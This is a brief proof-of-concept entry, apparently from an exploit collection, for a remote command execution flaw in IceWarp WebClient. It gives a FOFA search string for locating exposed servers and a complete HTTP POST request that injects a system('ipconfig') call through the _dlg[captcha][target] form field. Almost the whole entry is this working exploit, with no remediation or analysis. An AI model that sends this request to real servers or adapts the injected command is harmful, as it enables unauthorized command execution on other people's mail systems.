IceWarp WebClient basic Remote Command Execution Vulnerability

Vulnerability Impact

IceWarp WebClient

FOFA

app="IceWarp-公司产品"

POC

POST /webmail/basic/ HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Cookie: use_cookies=1
Content-Length: 43
_dlg[captcha][target]=system(\'ipconfig\')\